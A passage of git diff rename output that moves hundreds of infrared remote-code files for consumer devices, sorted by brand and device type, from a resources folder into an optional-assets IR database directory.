ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir (100%) rename assets/{resources/infrared => 